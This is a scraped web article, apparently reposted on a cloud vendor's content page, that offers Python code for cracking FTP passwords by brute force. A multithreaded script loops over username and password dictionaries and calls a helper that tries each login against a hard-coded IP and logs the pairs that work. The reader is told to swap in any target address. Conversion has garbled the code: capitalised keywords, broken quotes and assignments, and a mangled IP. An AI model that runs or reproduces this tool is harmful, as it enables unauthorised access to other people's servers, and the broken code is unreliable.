Python tool for brute force FTP password cracking

Source: Internet
Author: User
This article shares with you the code of a small tool that uses python to brute force crack the FTP password. The principle is very simple. it is to use multiple threads to call the corresponding dictionary for exhaustive testing, so that you can freely modify it. Python has powerful library files and many functions all have corresponding library files, so it is necessary to learn about it. one of the ftp library files is ftplib, we only need the login function, and then use multiple threads to call the fields in the corresponding dictionary for logon. we can also compile the required programs according to our own needs, let the program do some boring repetitive work instead of us.

The following code is used directly. The following is the main file.

The code is as follows:


Import OS
Import time
Import threading

Class mythread (threading. Thread ):
Def _ init _ (self, command ):
Threading. Thread. _ init _ (self)
Self. command = command
Def run (self ):
Kk = OS. system (self. command)
Ushand#open(“user.txt "," r ")
Pshand1_open(+passwd.txt "," r ")
Listuser = []
Listpass = []
For us in open(“user.txt "," r "):
Lineus = ushand. readline (). strip ('\ n ')
Listuser. append (lineus)
For ps in open(export passwd.txt "," r "):
Lineps = pshand. readline (). strip ('\ n ')
Listpass. append (lineps)
For I in listuser:
For j in listpass:
Command = "ftp. py % s" % (I, j)
Print command
My_thread = mythread (command)
My_thread.start ()
Time. sleep (0.1)

The code in the ftp. py file is as follows:

The code is as follows:


Import ftplib
Import socket
Import sys
Ftp = ftplib. FTP ('2017. 54.175.204 ′)
Try:
User = sys. argv [1]
Passwd = sys. argv [2]
Ftp. login (user, passwd)
Handcomplete open('aa.txt ', 'A + ')
Hand. write (user + ":" + passwd + "\ n ")
Failed T ftplib. error_perm:
Print "passwd is world"

Due to the inaccessibility of the format, you have to manually adjust the indentions.

The two files are separated by user.txtand passwd.txt, which are the user name and account dictionaries respectively.

The ftpcracking IP in the code can be modified to the IP address to be cracked. The latest account number and password will be input to the aa.txt file.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.